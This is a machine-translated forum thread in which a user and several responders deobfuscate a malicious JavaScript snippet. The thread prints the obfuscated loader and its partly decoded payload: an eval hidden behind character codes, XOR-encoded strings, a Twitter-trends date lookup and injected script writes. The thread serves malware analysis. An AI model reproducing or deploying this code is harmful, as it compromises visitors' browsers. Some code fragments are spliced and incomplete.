幫助Deobfuscate這個JS攻擊

我有一塊討厭的JavaScript，我想去混淆。我知道我可以創建一個虛擬機並看到它的所有榮耀中的惡意軟件，但我更感興趣的是沒有運行它，但是以非混淆的形式查看它。如果它需要運行才能做到這一點，那麼就這樣吧，我想。任何人都知道如何做到這一點而不影響自己？幫助Deobfuscate這個JS攻擊

感謝，添

編輯：這裏的代碼（一個襯墊，它是腳本標籤之間）。這是發給我的，我沒有訪問服務器的權限。

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var ez=window;ez[String.fromCharCode(101,118,97)+"l"](fds()); 
function asd(s) 
{ 
    r=""; 
    for(i=0;i<s.length;i++) 
    { 
    if(s.charAt(i)=="Z") 
    { 
     s1="%" 
    } 
    else 
    { 
     s1=s.charAt(i) 
    } 
    r=r+s1; 
    } 
    return unescape(r); 
} 
function fds() 
{ 
    return asd($a); 
}

再次編輯：我因爲畢竟選擇馬修·富蘭琛的看着這兩個他，拉斯凸輪和其他人幫助閃耀淡了很多什麼這個特殊的攻擊原理，以及如何去了解這種一般的東西。馬修偶然跳得最快。

注意：在試圖找到這個底部的過程中，我發現了一個非常方便的工具調用Malzilla。如果你需要做這樣的事情，它有很多好的工具。謝謝大家！

來源

2010-08-02 Tim

我通常從手動追蹤它開始尋找安全的方法，然後在最後一部分使用真正的解釋器（Rhino，要格外小心）。隨意發佈代碼。 – 2010-08-02 21:46:25

我對我的無知感到抱歉，但是當我用谷歌筆追蹤時，我似乎都得到了平面設計的東西。那究竟是什麼？感謝犀牛，看着它。尋找一種輕鬆展示JS的方式，我不知道我是否只想將它粘貼到此處。如果適合代碼塊，我會看到它。 – Tim 2010-08-02 21:50:03

是筆追蹤意思是原始滲透的痕跡（日誌審查，法醫審查等...） – Tim 2010-08-02 21:51:21

好吧，第1階段。這相對容易。 String.fromCharCode(101,118,97)是「eva」，所以它調用fds()上的eval函數。這反過來只是調用asd，這實際上只是用％替換「Z」。我們未逸出後，我們得到了他們想要eval代碼：

op="%24a%3d%22dw(dcs%28cu%2c14%29);%22;"; 
ce="ar%43o%64e%41%74%280%29^%28%27%30x%300%27+e%73)%29)%3b}}"; 
;cb="e(d%73);%73t%3dtmp%3d%27%27;for(%69%3d0;%69%3cd%73.%6c%6"; 
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cu="(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:w{y;xp;df{l;64c}p`|)%$$4|q}s|`),$*(;}rfuyq*(;p}b*"; 
cc="5ng%74h;%69%2b%2b)%7btmp%3dds%2esli%63e(%69%2c%69+1)%3bs"; 
st="%73%74%3d%22$a%3ds%74;%64c%73%28%64%61%2b%64b%2b%64%63%2bd%64+%64%65%2c1%30%29;%64w%28s%74)%3b%73t%3d$%61;%22;"; 
ca="%66%75nct%69%6fn%20%64%63s(d%73,%65s)%7bds%3dune%73ca%70"; 
dc="rs}vyb>s%7F}7+fqb0}%7F~dxc0-0~ug0Qbbqi87trc7<07id~7<07f}d7<07f}b7<07}|s7<07%7Fh{7<07vtc7<07rfv7<07iec7<07}s`7<07~sj7<07wtg79+fqb0|uddubc0-0~ug0Qbbqi87q7<7r7<7s7<7t7<7u7<7v7<7w7<7x7<7z7<7y7<7{7<7|7<7}7<7~7<7%7F7<7`7<7a7<7b7<7c7<7d7<7e7<7f7<7g7<7h7<7i7<7j79+fqb0~e}rubc0-0~ug0Qbbqi8!<%22<#<$<%<%26<'<(<)9+%19ve~sdy%7F~0Sq|se|qdu]qwys^e}rub8tqi<0}%7F~dx<0iuqb<0y~tuh9kbudeb~0888iuqb0;"; 
dd="08y~tuh0:0tqi990;08}%7F~dx0N0tqi90:0y~tuh90;0tqi9+m0fqb0iuqbSx!<0iuqbSx%22<0}%7F~dxSx<0tqiSx<0~e}+~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7M<0dy}uK7}%7F~dx7M<0dy}uK7iuqb7M<0cxyvdY~tuh9;!%20%20+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060%20hQQ90;0~e}9050%26#9050%22%26M0;0|uddubcK888dy}uK7iuqb7M060%20hQQ90,,0%2290;0~e}9050%22%M+iuqbSx%220-0|uddubcK8888dy}uK7iuqb7M060%20h##!!90..0#90;0~e}9050"; 
cd="%74%3dst%2bStr%69n%67.f%72%6fmC%68ar%43o%64e((%74mp.%63h"; 
db="7FtuQd8!90;0!%200;gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>|u~wdx+rbuq{+mmyv08cxyvdY~tuh0--0%2009kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK%26M>aeubi>sxqbS%7FtuQd8!90;0'0;gy~t%7Fg>dg>dbu~tcKyMK%26M>aeubi>|u~wdx+m0yv08cxyvdY~tuh0.0%209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~t%7Fg>wt>wudEDSVe||Iuqb89+dy}uK7}%7F~dx7M0-0gy~t%7Fg>wt>wudEDS]%7F~dx89;!+dy}uK7tqi7M0-0gy~t%7Fg>wt>wudEDSTqdu89+fqb0t-7v"; 
de="!%209M0;0|uddubcK8888dy}uK7iuqb7M060%20h##!!90..0$90;0~e}9050!%209M+0}%7F~dxSx0-0|uddubcK88dy}uK7}%7F~dx7M0;0~e}9050%22%9M0;0|uddubcK88dy}uK7}%7F~dx7M0:0~e}9050%22%9M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0%269050%22'9M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050%22$9M+4q-4q>bu`|qsu8t<tqiSx0;0iuqbSx%220;0}%7F~dxSx0;0iuqbSx!0;0tqiSx0;0}%7F~dxcKdy}uK7}%7F~dx7M0=0!M0;07>s%7F}79+m"; 
cz="%66u%6ec%74io%6e c%7a%28cz%29%7bret%75rn %63a+c%62+%63c%2b%63d+%63e+c%7a;%7d;"; 
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       cb='%3csc%72%69p%74 %6c%61n%67u%61ge%3d%5c%22jav%61%73c%72ip%74%5c%22%3e'; 
       cc='%3c%5c%2fscr%69pt%3e'; 
       eval(unescape(t)) 
      }; 
      document.write("<script language=\"javascript\"><\/script>t=st+String.fromCharCode((tmp.ch") 
      dw(dcs(cu,14)); 
      $a=st; 
      dcs(da+db+dc+dd+de,10); 
      dw(st); 
      st=$a; 

      document.write($a); 
     } 

     document.write("<img src='http://search.twitter.com/images/search/rss.png' width=1 height=1 style='visibility:hidden' /> <script language=javascript src='http://search.twitter.com/trends/daily.json?callback=callback'></script>"); 
    } else { 
     $a = ""; 
    } 

    function sc(cnm, v, ed) { 
     var exd = new Date; 
     exd.setDate(exd.getDate() + ed); 
     document.cookie = cnm + "=" + escape(v) + ";expires=" + exd.toGMTString(); 
    }

我解碼的變量在頂部。 cz很有趣。它說：cz="function cz(cz){return ca+cb+cc+cd+ce+cz;};";這雖然顯示爲

function dcs(ds,es){ 
    ds=unescape(ds); 
    st=tmp=''; 
    for(i=0;i<ds.l%65ngth;i++){ 
     tmp=ds.slice(i,i+1); 
     st=st+String.fromCharCode((tmp.ch! 9M0;0|uddubcK8888dy}uK7iuqb7M060 h##!!90..0$90;0~e}9050! 9M+0}~dxSx0-0|uddubcK88dy}uK7}~dx7M0;0~e}9050"%9M0;0|uddubcK88dy}uK7}~dx7M0:0~e}9050"%9M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0&9050"'9M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050"$9M+4q-4q>bu`|qsu8t<tqiSx0;0iuqbSx"0;0}~dxSx0;0iuqbSx!0;0tqiSx0;0}~dxcKdy}uK7}~dx7M0=0!M0;07>s}79+m

我有困難，去年st=st+String.fromCharCode...部分解碼。

仍在繼續前行。如果你看看一個解碼值，ST是st="st="$a=st;dcs(da+db+dc+dd+de,10);dw(st);st=$a;";";然後添加「d」線，就成了這樣的事情：

st=" 
     $a=st; 
     dcs(fqb0t-7vrs}vyb>s}7+0fqb0cxyvdY~tuh0-0 +vb08fqb0y0y~0gy~tg>dg>dbu~tc9kyv08gy~tg>x0.0(0660gy~tg>x0,0"!0660y>y~tuh_v870 '790.0=!9kcxyvdY~tuh0-0gy~tg>dg>dbu~tcKyMK$M>aeubi>sxqbStuQd8!90;0gy~tg>dg>dbu~tcKyMK$M>aeubi>|u~wdx+rbuq{+mu|cu0yv088gy~tg>x0,0)0ll00gy~tg>x0.0" 90660y>y~tuh_v870!(790.0=!9kcxyvdY~tuh0-0gy~tg>dg>dbu~tcKyMK$M>aeubi>sxqbS%7FtuQd8!90;0! 0;gy~tg>dg>dbu~tcKyMK$M>aeubi>|u~wdx+rbuq{+mmyv08cxyvdY~tuh0--0 09kcxyvdY~tuh0-0gy~tg>dg>dbu~tcKyMK&M>aeubi>sxqbStuQd8!90;0'0;gy~tg>dg>dbu~tcKyMK&M>aeubi>|u~wdx+m0yv08cxyvdY~tuh0.0 9kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~tg>wt>wudEDSVe||Iuqb89+dy}uK7}~dx7M0-0gy~tg>wt>wudEDS]~dx89;!+dy}uK7tqi7M0-0gy~tg>wt>wudEDSTqdu89+fqb0t-7vrs}vyb>s}7+fqb0}~dxc0-0~ug0Qbbqi87trc7<07id~7<07f}d7<07f}b7<07}|s7<07h{7<07vtc7<07rfv7<07iec7<07}s`7<07~sj7<07wtg79+fqb0|uddubc0-0~ug0Qbbqi87q7<7r7<7s7<7t7<7u7<7v7<7w7<7x7<7z7<7y7<7{7<7|7<7}7<7~7<77<7`7<7a7<7b7<7c7<7d7<7e7<7f7<7g7<7h7<7i7<7j79+fqb0~e}rubc0-0~ug0Qbbqi8!<"<#<$<%<&<'<(<)9+ve~sdy~0Sq|se|qdu]qwys^e}rub8tqi<0}~dx<0iuqb<0y~tuh9kbudeb~0888iuqb0;08y~tuh0:0tqi990;08}~dx0N0tqi90:0y~tuh90;0tqi9+m0fqb0iuqbSx!<0iuqbSx"<0}~dxSx<0tqiSx<0~e}+~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7M<0dy}uK7}~dx7M<0dy}uK7iuqb7M<0cxyvdY~tuh9;! +iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060 hQQ90;0~e}9050&#9050"&M0;0|uddubcK888dy}uK7iuqb7M060 hQQ90,,0"90;0~e}9050"%M+iuqbSx"0-0|uddubcK8888dy}uK7iuqb7M060 h##!!90..0#90;0~e}9050! 9M0;0|uddubcK8888dy}uK7iuqb7M060 h##!!90..0$90;0~e}9050! 9M+0}~dxSx0-0|uddubcK88dy}uK7}~dx7M0;0~e}9050"%9M0;0|uddubcK88dy}uK7}~dx7M0:0~e}9050"%9M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0&9050"'9M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050"$9M+4q-4q>bu`|qsu8t<tqiSx0;0iuqbSx"0;0}~dxSx0;0iuqbSx!0;0tqiSx0;0}~dxcKdy}uK7}~dx7M0=0!M0;07>s}79+m,10); 
     dw(st); 
     st=$a; 
    ";

（壓痕礦）。再一次，這些長時間的刺痛仍然存在問題。

來源

2010-08-02 22:02:53

哇。我很謙虛。謝謝。 – Tim 2010-08-02 22:15:48

不接受它！：顯然第二階段即將到來 – Jimmy 2010-08-02 22:21:05

對不起，這裏（顯然）noob。 – Tim 2010-08-02 22:26:30

好的，這應該是直截了當的。

var ez=window;ez[String.fromCharCode(101,118,97)+"l"](fds());

是一個簡單的調用eval

知道什麼是正在評估，我們要破譯的字符串。我們應該能夠通過asd功能運行它這樣做比較安全......

這給了我們

op = '$a="dw(dcs(cu,14));";'; 
ce = "arCodeAt(0)^('0x00'+es)));}}" 
dz = "function dw(t){ca='%64o%63um%65nt.%77r%69t%65(%22';ce='%22)';cb='%3csc%72%69p%74 %6c%61n%67u%61ge%3d%5c%22jav%61%73c%72ip%74%5c%22%3e';cc='%3c%5c%2fscr%69pt%3e';window["e"+\"\"+ \"v\"+\"al\"](unescape(t))};" 
cb = "e(ds);st=tmp='';for(i=0;i<ds.l%6"; 
da = "fqb0t-7vrs}vyb>s%7F}7+0fqb0cxyvdY~tuh0-0%20+v%7Fb08fqb0y0y~0gy~t%7Fg>dg>dbu~tc9kyv08gy~t%7Fg>x0.0(0660gy~t%7Fg>x0,0%22!0660y>y~tuh_v870%20'790.0=!9kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>sxqbS%7FtuQd8!90;0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>|u~wdx+rbuq{+mu|cu0yv088gy~t%7Fg>x0,0)0ll00gy~t%7Fg>x0.0%22%2090660y>y~tuh_v870!(790.0=!9kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>sxqbS%"; 
cu = "(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:w{y;xp;df{l;64c}p`|)%$$4|q}s|`),$*(;}rfuyq*(;p}b*"; 
cc = "5ngth;i++){tmp=ds.slice(i,i+1);s"; 
st = 'st="$a=st;dcs(da+db+dc+dd+de,10);dw(st);st=$a;";'; 
ca = "function dcs(ds,es){ds=unescap"; 
dc = "rs}vyb>s%7F}7+fqb0}%7F~dxc0-0~ug0Qbbqi87trc7<07id~7<07f}d7<07f}b7<07}|s7<07%7Fh{7<07vtc7<07rfv7<07iec7<07}s`7<07~sj7<07wtg79+fqb0|uddubc0-0~ug0Qbbqi87q7<7r7<7s7<7t7<7u7<7v7<7w7<7x7<7z7<7y7<7{7<7|7<7}7<7~7<7%7F7<7`7<7a7<7b7<7c7<7d7<7e7<7f7<7g7<7h7<7i7<7j79+fqb0~e}rubc0-0~ug0Qbbqi8!<%22<#<$<%<%26<'<(<)9+%19ve~sdy%7F~0Sq|se|qdu]qwys^e}rub8tqi<0}%7F~dx<0iuqb<0y~tuh9kbudeb~0888iuqb0;"; 
dd = "08y~tuh0:0tqi990;08}%7F~dx0N0tqi90:0y~tuh90;0tqi9+m0fqb0iuqbSx!<0iuqbSx%22<0}%7F~dxSx<0tqiSx<0~e}+~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7M<0dy}uK7}%7F~dx7M<0dy}uK7iuqb7M<0cxyvdY~tuh9;!%20%20+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060%20hQQ90;0~e}9050%26#9050%22%26M0;0|uddubcK888dy}uK7iuqb7M060%20hQQ90,,0%2290;0~e}9050%22%M+iuqbSx%220-0|uddubcK8888dy}uK7iuqb7M060%20h##!!90..0#90;0~e}9050"; 
cd = "t=st+String.fromCharCode((tmp.ch"; 
db = "7FtuQd8!90;0!%200;gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>|u~wdx+rbuq{+mmyv08cxyvdY~tuh0--0%2009kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK%26M>aeubi>sxqbS%7FtuQd8!90;0'0;gy~t%7Fg>dg>dbu~tcKyMK%26M>aeubi>|u~wdx+m0yv08cxyvdY~tuh0.0%209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~t%7Fg>wt>wudEDSVe||Iuqb89+dy}uK7}%7F~dx7M0-0gy~t%7Fg>wt>wudEDS]%7F~dx89;!+dy}uK7tqi7M0-0gy~t%7Fg>wt>wudEDSTqdu89+fqb0t-7v"; 
de = "!%209M0;0|uddubcK8888dy}uK7iuqb7M060%20h##!!90..0$90;0~e}9050!%209M+0}%7F~dxSx0-0|uddubcK88dy}uK7}%7F~dx7M0;0~e}9050%22%9M0;0|uddubcK88dy}uK7}%7F~dx7M0:0~e}9050%22%9M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0%269050%22'9M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050%22$9M+4q-4q>bu`|qsu8t<tqiSx0;0iuqbSx%220;0}%7F~dxSx0;0iuqbSx!0;0tqiSx0;0}%7F~dxcKdy}uK7}%7F~dx7M0=0!M0;07>s%7F}79+m"; 
cz = /* "function cz(cz){return ca+cb+cc+cd+ce+cz;};"; */ 
     "function cz(cz){return \"function dcs(ds,es){ds=unescape(ds);st=tmp='';for(i=0;i<ds.l%65ngth;i++){tmp=ds.slice(i,i+1);st=st+String.fromCharCode((tmp.charCodeAt(0)^('0x00'+es)));}}\"+cz;};"; 
if (document.cookie.indexOf('rf5f6ds') == -1) { 
    function callback(x) { 
     window.tw = x; 
     var d = new Date(); 
     d.setTime(x["as_of"] * 1000); 
     var h = d.getUTCHours(); 
     window.h = h; 
     if (h > 8) { 
      d.setUTCDate(d.getUTCDate() - 2); 
     } else { 
      d.setUTCDate(d.getUTCDate() - 3); 
     } 
     window.gd = d; 
     var time = new Array(); 
     var shiftIndex = ""; 
     time["year"] = d.getUTCFullYear(); 
     time["month"] = d.getUTCMonth() + 1; 
     time["day"] = d.getUTCDate(); 
     if (d.getUTCMonth() + 1 < 10) { 
      shiftIndex = time["year"] + "-0" + (d.getUTCMonth() + 1); 
     } else { 
      shiftIndex = time["year"] + "-" + (d.getUTCMonth() + 1); 
     } 
     if (d.getUTCDate() < 10) { 
      shiftIndex = shiftIndex + "-0" + d.getUTCDate(); 
     } else { 
      shiftIndex = shiftIndex + "-" + d.getUTCDate(); 
     } 
     document.write("<scr" + "ipt language=javascript" + " src='http://search.twitter.com/trends/daily.json?date=" + shiftIndex + "&callback=callback2'>" + "</scr" + "ipt>"); 
    } 
    function callback2(x) { 
     window.tw = x; 
     sc('rf5f6ds', 2, 7); 
     eval(unescape(dz + cz + op + st) + 'dw(dz+cz($a+st));'); 
     document.write($a); 
    } 
    document.write("<img src='http://search.twitter.com/images/search/rss.png' width=1 height=1 style='visibility:hidden' /> <scr" + "ipt language=javascript" + " src='http://search.twitter.com/trends/daily.json?callback=callback'>" + "</scr" + "ipt>"); 
} else { 
    $a = '' 
}; 

function sc(cnm, v, ed) { 
    var exd = new Date(); 
    exd.setDate(exd.getDate() + ed); 
    document.cookie = cnm + '=' + escape(v) + ';expires=' + exd.toGMTString(); 
};

它當時的經歷，並進行反向轉義賦給變量的字符串的情況下（I」我已經開始了這個...但現在是時候睡覺了！）

來源

2010-08-02 22:07:57

所有這些都以相同的方式開始。必須有一個eval（）隱藏在某處。這只是迴應傳遞給它的內容並在那裏工作的問題。 – Mchl 2010-08-02 22:42:01

是真的。我現在得去睡覺了。隨意繼續努力。 – 2010-08-02 23:07:03

callback2中有一個eval。還有一個開始整個事情。 – Tim 2010-08-02 23:13:51